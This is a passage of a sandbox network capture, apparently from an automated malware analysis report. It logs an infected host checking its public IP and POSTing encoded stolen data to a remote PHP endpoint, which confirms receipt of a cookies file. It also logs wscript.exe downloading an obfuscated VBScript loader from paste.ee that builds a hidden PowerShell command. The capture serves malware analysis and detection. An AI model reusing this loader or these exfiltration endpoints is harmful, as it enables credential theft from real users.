Nov 12, 2024 08:06:21.418473005 CET	1236	IN	Data Raw: 62 6c 69 6b 39 6b 63 6d 31 73 41 64 32 33 36 39 78 54 61 4a 44 4c 51 44 37 67 44 43 44 57 46 59 43 78 58 39 74 35 34 48 78 6a 53 4f 63 67 43 43 74 52 70 33 49 77 39 41 2b 61 59 2b 56 57 6a 50 39 6f 56 79 33 31 70 6b 6e 31 61 55 47 76 32 69 57 4f Data Ascii: blik9kcm1sAd2369xTaJDLQD7gDCDWFYCxX9t54HxjSOcgCCtRp3Iw9A+aY+VWjP9oVy31pkn1aUGv2iWOnWZn+cd7SWNfvq3CdDqBLIZcMF3tRSImhO03iOF4tH6uxwapcAPGEMP9giG+OZloS7nOPO75mutdU9h1Fd45nwM930SAVYISz2ftmKYap1Z1XK9dwCY47Js9pnkDig9jJQu/vwMHaHpu6UvM21NGYcRdC3pwkCkwQ
Nov 12, 2024 08:06:21.418488026 CET	212	IN	Data Raw: 49 54 41 58 66 4c 45 46 2f 44 53 43 33 52 66 4d 38 73 66 77 2f 52 53 49 34 2f 39 6e 6e 50 57 7a 73 69 36 56 51 34 4f 34 71 2f 63 68 72 7a 45 70 52 6d 47 4e 52 35 64 65 45 41 6c 41 4d 46 43 2b 68 54 64 7a 33 35 71 6f 31 75 4c 69 35 4f 4d 44 7a 51 Data Ascii: ITAXfLEF/DSC3RfM8sfw/RSI4/9nnPWzsi6VQ4O4q/chrzEpRmGNR5deEAlAMFC+hTdz35qo1uLi5OMDzQW9m8ZqOWkZRo3sPXjfEGYc21MEu5RgEYZU5orCKgdsr/GEIPw1fZCkuEJqFXZl4Map0sDuz/mV8GhjsocydXIjCf9xgWreOCCIwYKhIDCQid3864VHhSSUdwmD2PMMeX6R
Nov 12, 2024 08:06:21.418512106 CET	1236	IN	Data Raw: 64 76 79 65 45 62 55 73 52 65 67 74 4b 5a 37 48 61 7a 34 67 41 4a 73 66 75 74 4b 41 73 61 73 6c 67 31 56 4d 7a 31 57 70 51 4d 54 47 31 54 4b 2f 45 72 79 47 70 56 4c 7a 33 5a 32 76 74 31 39 47 36 78 6d 74 38 79 53 41 68 58 52 77 51 33 51 73 5a 56 Data Ascii: dvyeEbUsRegtKZ7Haz4gAJsfutKAsaslg1VMz1WpQMTG1TK/EryGpVLz3Z2vt19G6xmt8ySAhXRwQ3QsZVcDAxAYvV9i36Fy0eNztCA6JHvzTHxD0BknWBCp4O3+rYwfOpNwr7rHbPmBT26zDvRswFnymv69S8IK6wr3sEvmU4U198LhB5FJlsih8L8IMj6eUrpcpadtDE1EHSzcxOrEc0uI6gjd2jPDX0qUujpWEY7TxkRNQAq
Nov 12, 2024 08:06:21.423361063 CET	1236	IN	Data Raw: 37 71 70 38 6f 69 42 35 66 76 59 79 2f 47 76 56 4f 76 45 65 67 59 71 37 61 55 38 50 55 64 31 33 65 43 6f 64 76 45 4f 4d 41 2b 51 35 39 4b 7a 76 6d 55 64 69 69 47 33 4a 51 67 47 44 77 44 65 54 64 72 2f 54 6b 76 4d 4b 67 44 56 4a 46 6a 45 6d 55 4a Data Ascii: 7qp8oiB5fvYy/GvVOvEegYq7aU8PUd13eCodvEOMA+Q59KzvmUdiiG3JQgGDwDeTdr/TkvMKgDVJFjEmUJNuR3A2Y1G9FxKLIk6GxO5EC5JqbVGZp5eTUSMsKSuOGfcLPgWjYZjO9PxuuW8Rc79OXW2LttmlfexB5f92oMSTO5RFtMmsPPE+zPGVcUrkRdv3bkaiID9TbWU1hyfA8VYokbn+S+2xqK+TB7boLCFTTvSQP4lckTX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49810	132.226.8.169	80	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:06:22.626317024 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 12, 2024 08:06:23.514841080 CET	275	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:23 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>
Nov 12, 2024 08:06:23.518517017 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 12, 2024 08:06:23.801855087 CET	275	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:23 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>
Nov 12, 2024 08:06:26.625142097 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 12, 2024 08:06:26.912600994 CET	275	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:26 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49840	132.226.8.169	80	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:06:27.695509911 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 12, 2024 08:06:28.584932089 CET	275	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:28 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49852	132.226.8.169	80	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:06:29.544982910 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 12, 2024 08:06:30.494061947 CET	275	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:30 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49864	132.226.8.169	80	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:06:31.254669905 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 12, 2024 08:06:33.382122040 CET	275	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:33 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>
Nov 12, 2024 08:06:33.600122929 CET	275	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:33 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49879	132.226.8.169	80	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:06:34.178183079 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 12, 2024 08:06:35.406083107 CET	275	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:35 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49891	132.226.8.169	80	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:06:36.544666052 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 12, 2024 08:06:37.462599993 CET	275	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:37 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49903	132.226.8.169	80	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:06:38.212413073 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 12, 2024 08:06:40.062346935 CET	275	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:39 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49920	132.226.8.169	80	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:06:40.824774981 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 12, 2024 08:06:41.705883026 CET	275	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:06:41 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.68</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49972	141.98.10.88	80	7440	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 08:06:50.294923067 CET	144	OUT	POST /swsk/P4.php HTTP/1.1 Content-Type: text/plain; charset=utf-8 Host: sws.swpushroller.eu Content-Length: 1432 Connection: Keep-Alive
Nov 12, 2024 08:06:50.300754070 CET	1432	OUT	Data Raw: 4f 6f 74 33 31 38 52 46 2f 49 4d 30 31 6d 6e 32 32 36 54 44 73 44 6e 49 39 6b 36 34 73 4e 7a 73 53 32 47 7a 49 79 75 6c 39 6f 58 45 52 4c 74 7a 44 71 79 6d 7a 67 6f 68 6e 46 75 54 57 42 75 63 32 37 53 6a 69 49 67 6e 72 30 44 62 69 34 38 59 35 39 Data Ascii: Oot318RF/IM01mn226TDsDnI9k64sNzsS2GzIyul9oXERLtzDqymzgohnFuTWBuc27SjiIgnr0Dbi48Y590q/arBX7Q2qQTrNImhLnvX9EEcqmPp8dmne+/dLasRRXSzHf9Q1R+HvbWcUOkHT8I2nrUKAviijzuHyEyX//IZlDoaNgl6RMQhSjS9czYUCcKiwJ4eDFkpVCtKQ5WJ4WT6XX7U8jb3JKIKk1biAEaIL372EL+5YZK
Nov 12, 2024 08:06:51.170633078 CET	250	IN	HTTP/1.1 201 Created content-type: text/html; charset=UTF-8 content-length: 86 date: Tue, 12 Nov 2024 07:06:51 GMT server: LiteSpeed connection: Keep-Alive Data Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 22 44 61 74 61 20 75 70 6c 6f 61 64 65 64 20 61 6e 64 20 64 65 63 72 79 70 74 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 22 2c 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 43 6f 6f 6b 69 65 73 5f 38 34 38 33 2e 74 78 74 22 7d Data Ascii: {"message":"Data uploaded and decrypted successfully.","file_name":"Cookies_8483.txt"}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	188.114.97.3	443	2608	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 07:05:54 UTC	173	OUT	GET /d/LOToW HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-CH User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: paste.ee
2024-11-12 07:05:55 UTC	1238	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 07:05:55 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4pMu4mXGpuNo9%2F036J1xqoXNmuRReqfspt%2BS4FzMocuyGg2xcRckvfh9yg5V%2Fa48rvPw6Yaxch6BEN6UJhRKB%2FGyCYXUBFVs08wqxkiP%2B89eOLamvkQty9O%2B6A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e14ad269d776b33-DFW alt-svc: h3=":443"; ma=86400
2024-11-12 07:05:55 UTC	190	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 39 33 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 37 26 72 65 63 76 5f 62 79 74 65 73 3d 37 38 37 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 34 38 31 35 37 36 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 34 33 65 38 32 32 34 39 34 33 66 35 66 31 38 36 26 74 73 3d 33 36 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1193&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=787&delivery_rate=2481576&cwnd=251&unsent_bytes=0&cid=43e8224943f5f186&ts=364&x=0"
2024-11-12 07:05:55 UTC	1310	IN	Data Raw: 66 37 66 0d 0a 0d 0a 0d 0a 46 75 6e 63 74 69 6f 6e 20 52 65 70 6c 61 63 65 53 74 72 69 6e 67 28 42 79 56 61 6c 20 74 65 78 74 6f 2c 20 42 79 56 61 6c 20 70 72 6f 63 75 72 61 2c 20 42 79 56 61 6c 20 73 75 62 73 74 69 74 75 69 29 0d 0a 20 20 20 20 44 69 6d 20 70 6f 73 69 63 61 6f 0d 0a 20 20 20 20 70 6f 73 69 63 61 6f 20 3d 20 49 6e 53 74 72 28 74 65 78 74 6f 2c 20 70 72 6f 63 75 72 61 29 0d 0a 20 20 20 20 0d 0a 20 20 20 20 44 6f 20 57 68 69 6c 65 20 70 6f 73 69 63 61 6f 20 3e 20 30 0d 0a 20 20 20 20 20 20 20 20 74 65 78 74 6f 20 3d 20 4c 65 66 74 28 74 65 78 74 6f 2c 20 70 6f 73 69 63 61 6f 20 2d 20 31 29 20 26 20 73 75 62 73 74 69 74 75 69 20 26 20 4d 69 64 28 74 65 78 74 6f 2c 20 70 6f 73 69 63 61 6f 20 2b 20 4c 65 6e 28 70 72 6f 63 75 72 61 29 29 0d 0a Data Ascii: f7fFunction ReplaceString(ByVal texto, ByVal procura, ByVal substitui) Dim posicao posicao = InStr(texto, procura) Do While posicao > 0 texto = Left(texto, posicao - 1) & substitui & Mid(texto, posicao + Len(procura))
2024-11-12 07:05:55 UTC	1369	IN	Data Raw: 46 53 22 0d 0a 20 20 20 20 20 20 20 20 76 6e 71 68 76 20 3d 20 76 6e 71 68 76 20 26 20 22 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 56 44 34 2b 55 6e 4a 49 4f 32 4a 61 54 6d 56 75 5a 45 5a 73 59 57 63 67 50 53 42 53 63 6b 67 38 50 45 4a 42 55 30 55 32 4e 46 39 46 54 6b 51 2b 50 6c 4a 79 53 44 74 69 57 6b 35 7a 64 47 46 79 64 45 6c 75 5a 47 56 34 49 44 30 67 4a 79 73 6e 59 6c 70 4f 61 57 31 68 5a 32 56 55 5a 58 68 30 4c 6b 6c 75 5a 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 47 56 34 54 32 59 6f 59 6c 70 4f 63 33 52 68 63 6e 52 47 62 47 46 6e 4b 54 74 69 57 6b 35 6c 62 6d 52 4a 62 6d 52 6c 65 43 41 39 49 47 4a 61 54 6d 6c 74 59 57 64 6c 56 47 56 34 64 43 35 4a 62 6d 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 51 6e 4b 79 64 6c 65 45 39 6d 53 55 51 50 Data Ascii: FS" vnqhv = vnqhv & "SUQPNHDCLXIWRGTVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZSUQPNHDCLXIWRGTGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmSUQPNHDCLXIWRGTQnKydleE9mSUQP
2024-11-12 07:05:55 UTC	1295	IN	Data Raw: 39 72 5a 53 68 69 57 6b 35 75 64 57 78 73 4c 43 42 41 4b 46 4a 79 53 48 52 34 64 43 35 4d 55 31 4e 58 55 79 39 72 62 47 38 76 64 57 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 55 75 61 48 4e 31 63 48 64 7a 63 6d 56 73 62 43 63 72 4a 32 39 79 4c 6e 4e 31 63 43 38 76 4f 6e 42 30 22 0d 0a 20 20 20 20 20 20 20 20 76 6e 71 68 76 20 3d 20 76 6e 71 68 76 20 26 20 22 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 64 47 68 53 63 6b 67 73 49 46 4a 79 53 47 52 6c 63 32 46 30 61 58 5a 68 5a 47 39 53 63 6b 67 73 49 46 4a 79 4a 79 73 6e 53 47 52 6c 63 32 46 30 61 58 5a 68 5a 47 39 53 63 6b 67 73 49 46 4a 79 53 47 52 6c 63 32 46 30 61 58 5a 68 5a 47 39 53 63 6b 67 73 49 46 4a 79 53 47 52 6c 63 32 46 30 61 58 5a 68 5a 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 47 38 6e Data Ascii: 9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWSUQPNHDCLXIWRGTUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0" vnqhv = vnqhv & "SUQPNHDCLXIWRGTdGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZSUQPNHDCLXIWRGTG8n
2024-11-12 07:05:55 UTC	1369	IN	Data Raw: 34 30 30 30 0d 0a 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 57 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 6a 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 75 78 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 64 20 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 3d 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 20 5b 73 79 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 73 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 74 65 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 6d 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 Data Ascii: 4000JJbnw = JJbnw & "WSUQPNHDCLXIWRGTj" JJbnw = JJbnw & "SUQPNHDCLXIWRGTuxSUQPNHDCLXIWRGTd " JJbnw = JJbnw & "=SUQPNHDCLXIWRGT [sySUQPNHDCLXIWRGTs" JJbnw = JJbnw & "SUQPNHDCLXIWRGTteSUQPNHDCLXIWRGTm" JJbnw = JJbnw & "
2024-11-12 07:05:55 UTC	1369	IN	Data Raw: 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 77 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 65 72 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 73 68 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 65 6c 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 6c 2e 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 65 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 78 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 65 20 2d 77 69 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 6e 22 0d 0a 20 20 20 20 20 20 20 20 4a 4a 62 6e 77 20 3d 20 4a 4a 62 6e 77 20 26 20 22 64 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 6f 77 53 55 51 50 4e 48 44 43 4c 58 49 57 52 47 54 73 22 0d 0a 20 20 20 20 20 20 20 20 4a Data Ascii: JJbnw = JJbnw & "wSUQPNHDCLXIWRGTerSUQPNHDCLXIWRGTsh" JJbnw = JJbnw & "elSUQPNHDCLXIWRGTl.SUQPNHDCLXIWRGTe" JJbnw = JJbnw & "xSUQPNHDCLXIWRGTe -wiSUQPNHDCLXIWRGTn" JJbnw = JJbnw & "dSUQPNHDCLXIWRGTowSUQPNHDCLXIWRGTs" J
